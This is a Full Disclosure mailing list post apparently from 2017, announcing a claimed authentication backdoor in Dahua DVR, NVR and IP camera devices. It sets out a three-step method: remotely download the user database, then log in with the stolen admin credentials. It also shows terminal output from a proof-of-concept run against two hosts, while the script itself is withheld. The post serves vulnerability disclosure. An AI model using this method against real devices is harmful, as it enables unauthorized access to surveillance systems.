0-Day: Dahua backdoor Generation 2 and 3

Full Disclosure mailing list archives

Pr By Date N
Pr By Thread N

From: bashis <mcw () noemail eu>
Date: Mon, 6 Mar 2017 07:13:21 +0000

[STX]

I'm speechless, and almost don't know what I should write... I (hardly) can't believe what I have just found.

I have just discovered (to what I strongly believe is backdoor) in Dahua DVR/NVR/IPC and possible all their clones.

Since I am convinced this is a backdoor, I have my own policy to NOT notify the vendor before the community.
(I simply don't want to listen on their poor excuses, their tryings to keep me silent for informing the community)

In short:
You can delete/add/change name on the admin users, you change password on the admin users - this backdoor simply don't
care about that!
It uses whatever names and passwords you configuring - by simply downloading the full user database and use your own
credentials!

This is so simple as:
1. Remotely download the full user database with all credentials and permissions
2. Choose whatever admin user, copy the login names and password hashes
3. Use them as source to remotely login to the Dahua devices

This is like a damn Hollywood hack, click on one button and you are in...

Below PoC you will find here: [Dahua asked me to remove the PoC, will be re-posted April 5 2017 – To give them 30 days
for remediation]
Please have understanding of the quick hack of the PoC, I'm sure it could be done better.

Have a nice day
/bashis

```
$ ./dahua-backdoor.py --rhost 192.168.5.2

[*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]

[i] Remote target IP: 192.168.5.2
[i] Remote target PORT: 80
[>] Checking for backdoor version
[<] 200 OK
[!] Generation 2 found
[i] Chosing Admin Login: 888888, PWD hash: 4WzwxXxM
[>] Requesting our session ID
[<] 200 OK
[>] Logging in
[<] 200 OK
{ "id" : 10000, "params" : null, "result" : true, "session" : 100385023 }

[>] Logging out
```

```
[<] 200 OK

[*] All done...
$

$ ./dahua-backdoor.py --rhost 192.168.5.3

[*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]

[i] Remote target IP: 192.168.5.3
[i] Remote target PORT: 80
[>] Checking for backdoor version
[<] 200 OK
[!] Generation 3 Found
[i] Choosing Admin Login: admin, Auth: 27
[>] Requesting our session ID
[<] 200 OK
[i] Downloaded MD5 hash: 94DB0778856B11C0D0F5455CCC0CE074
[i] Random value to encrypt with: 1958557123
[i] Built password: admin:1958557123:94DB0778856B11C0D0F5455CCC0CE074
[i] MD5 generated password: 2A5F4F7E1BB6F0EA6381E4595651A79E
[>] Logging in
[<] 200 OK
{ "id" : 10000, "params" : null, "result" : true, "session" : 1175887285 }

[>] Logging out
[<] 200 OK

[*] All done...
$

[ETX]
```


Pr By Date N
Pr By Thread N

Current thread:

Re: 0-Day: Dahua backdoor Generation 2 and 3Re: 0-Day: Dahua backdoor Generation 2 and 3Re: 0-Day: Dahua backdoor Generation 2 and 3